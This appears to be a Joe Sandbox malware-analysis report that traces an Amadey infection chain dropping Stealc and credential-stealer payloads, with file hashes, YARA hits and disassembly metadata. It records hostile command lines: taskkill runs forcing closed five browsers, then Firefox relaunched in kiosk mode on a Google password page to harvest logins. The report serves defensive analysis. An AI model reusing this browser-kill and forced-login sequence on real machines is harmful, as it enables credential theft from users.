Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x420000
File size:	1'886'208 bytes
MD5 hash:	E8532BD886B3EA7DB6B1634D2D07BE22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.1581637414.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.1621915731.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:06:11
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x420000
File size:	1'886'208 bytes
MD5 hash:	E8532BD886B3EA7DB6B1634D2D07BE22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.1584824472.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.1625041003.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:07:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x420000
File size:	1'886'208 bytes
MD5 hash:	E8532BD886B3EA7DB6B1634D2D07BE22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.2063993916.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:07:14
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"
Imagebase:	0x400000
File size:	2'985'472 bytes
MD5 hash:	DE54690C9F171F91B13960453AB60FD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2306562309.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2284222994.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2270049277.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2269895043.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2270520571.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2269779163.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2283911679.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2300881497.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2269655803.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2251676644.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2300638023.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2283284801.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	08:07:23
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"
Imagebase:	0x320000
File size:	2'125'824 bytes
MD5 hash:	DB6B1432E0641F3EC061401D5547D4A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000003.2307921520.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2351036059.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2348423588.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:07:28
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"
Imagebase:	0x400000
File size:	2'985'472 bytes
MD5 hash:	DE54690C9F171F91B13960453AB60FD3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2400684236.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2474497787.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2442576181.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2435853665.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2402886405.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2400411053.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2501065889.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2473488619.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2501395526.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2418338692.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2416045693.00000000013C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000003.2480184057.00000000013BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	08:07:29
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe"
Imagebase:	0xb20000
File size:	919'552 bytes
MD5 hash:	388A4D9E5A5EC3446324F1DCFEE1F8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:07:29
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xdf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:07:29
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xdf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xdf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xdf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xdf0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:07:32
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:07:33
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:07:33
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:07:33
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	08:07:34
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3c9087-adfb-46b4-b057-3fef806f712c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df0ee6df10 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	08:07:35
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002599001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe"
Imagebase:	0xe60000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2427332199.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2427703297.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2435358358.000000000168E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000000.2407308051.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000000.2407233161.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:07:37
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"
Imagebase:	0x320000
File size:	2'125'824 bytes
MD5 hash:	DB6B1432E0641F3EC061401D5547D4A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2527848797.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000003.2454084311.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2512290004.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:07:38
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=920 -parentBuildID 20230927232528 -prefsHandle 3540 -prefMapHandle 2836 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c503f6a-c2b4-4421-a458-09ae7f72f09c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df2101c210 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	08:07:40
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002600001\test.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1002600001\test.exe"
Imagebase:	0xe90000
File size:	334'848 bytes
MD5 hash:	E2F4A20BF1778DDB6396F48F6F4A9A32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 0573DB4A Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

l, xrefs: 0573DCC7

Memory Dump Source

Source File: 00000000.00000003.1386321572.0000000005738000.00000004.00000800.00020000.00000000.sdmp, Offset: 05738000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5738000_file.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 999746c55860e60ed313a89e62846030b960595ce78a45a16aa6468e2ca386a8
Instruction ID: b761940acd6ed44627d16f157d7533b808fe8faa241c54f40fc9afa8b4a116a2
Opcode Fuzzy Hash: 999746c55860e60ed313a89e62846030b960595ce78a45a16aa6468e2ca386a8
Instruction Fuzzy Hash: 8071DF2200E3C59FC727CF75CAA2A82BFB5FE07214B5845CED8C24E467C3616516EB56

Function 0113923A Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Offset: 01137000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_112e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813488c0df333ae44b3beeb94adf56375a0d3fbc04be35b79ff595ef88f592ad
Instruction ID: 66407d72c28a7af748cedea0ac245f4d6e27f56025ef0c182fc7d198ce3639de
Opcode Fuzzy Hash: 813488c0df333ae44b3beeb94adf56375a0d3fbc04be35b79ff595ef88f592ad
Instruction Fuzzy Hash: 2D61E03204E3C89FD71ACF718691686BFB4BE47318B1845CED8C25F567C3A1A50ADB85

Function 0113923A Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_112e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813488c0df333ae44b3beeb94adf56375a0d3fbc04be35b79ff595ef88f592ad
Instruction ID: 66407d72c28a7af748cedea0ac245f4d6e27f56025ef0c182fc7d198ce3639de
Opcode Fuzzy Hash: 813488c0df333ae44b3beeb94adf56375a0d3fbc04be35b79ff595ef88f592ad
Instruction Fuzzy Hash: 2D61E03204E3C89FD71ACF718691686BFB4BE47318B1845CED8C25F567C3A1A50ADB85

Function 0573DBBF Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1386321572.0000000005738000.00000004.00000800.00020000.00000000.sdmp, Offset: 05738000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5738000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e867fb55ff5a657695a454c234a5cfbb2b24a65b59216f2f1ce590044e2585
Instruction ID: e29bdd919a4843590a080bc171187c329fa9cc1b394aa887e41a4e32d6dce8a2
Opcode Fuzzy Hash: f4e867fb55ff5a657695a454c234a5cfbb2b24a65b59216f2f1ce590044e2585
Instruction Fuzzy Hash: BE51EF2240A3C59FC727CF71CA62A86BFB4FE03324B5841DED8C14E467D3A1650AEB56

Function 011392AF Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Offset: 01137000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_112e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049d6ef03db0f1d7db6e109ce6edae2b230e583b2e1a0de4482f37890e2598d6
Instruction ID: af0afb5c08e11851e46dacf47a52d27a418927a6a180fa4974d1db0444381649
Opcode Fuzzy Hash: 049d6ef03db0f1d7db6e109ce6edae2b230e583b2e1a0de4482f37890e2598d6
Instruction Fuzzy Hash: F351D03240E3C89FD716CF71C652686BFB8BE47318B1845CED8C15E563C3A5A609DB86

Function 011392AF Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_112e000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049d6ef03db0f1d7db6e109ce6edae2b230e583b2e1a0de4482f37890e2598d6
Instruction ID: af0afb5c08e11851e46dacf47a52d27a418927a6a180fa4974d1db0444381649
Opcode Fuzzy Hash: 049d6ef03db0f1d7db6e109ce6edae2b230e583b2e1a0de4482f37890e2598d6
Instruction Fuzzy Hash: F351D03240E3C89FD716CF71C652686BFB8BE47318B1845CED8C15E563C3A5A609DB86

Analysis Process: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exePID: 7588, Parent PID: 6604COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	60%
Signature Coverage:	30%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Executed Functions

Function 04BD15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BD18C8

Memory Dump Source

Source File: 0000000A.00000002.1672813508.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4bd0000_M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: ddbec629b2731097be8944a6992f2d311eed9366ade23498a6fd31efee089c3f
Instruction ID: 7e8732ffaf82e185d3f615a3cd50443bd99a3adacb04191cb1bca6b186be4a70
Opcode Fuzzy Hash: ddbec629b2731097be8944a6992f2d311eed9366ade23498a6fd31efee089c3f
Instruction Fuzzy Hash: B7C16D71D006599FDB10CFA8CC457AEBBF1FF48314F1485A9E854E7294EB74A882CB81

Function 0025C6A2 Relevance: 1.5, APIs: 1, Instructions: 42
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0025C6E9

Memory Dump Source

Source File: 0000000A.00000002.1667815433.0000000000256000.00000040.00000001.01000000.00000006.sdmp, Offset: 000C0000, based on PE: true

Associated: 0000000A.00000002.1667525700.00000000000C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667586371.00000000000C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667613524.00000000000CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667642913.00000000000D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667757040.000000000023D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667784395.000000000023F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1667815433.0000000000261000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668128547.0000000000277000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668155410.0000000000278000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668182853.0000000000279000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668209841.000000000027B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668235065.000000000027C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668259950.000000000027E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668290245.0000000000295000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668315393.0000000000296000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668339354.0000000000297000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668363271.0000000000299000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668387832.000000000029A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668413287.00000000002A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668438798.00000000002A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668467098.00000000002B0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668493269.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668546648.00000000002D8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1668575126.00000000002D9000.00000040.00000001.01000000.00000006.sdmpDownload File
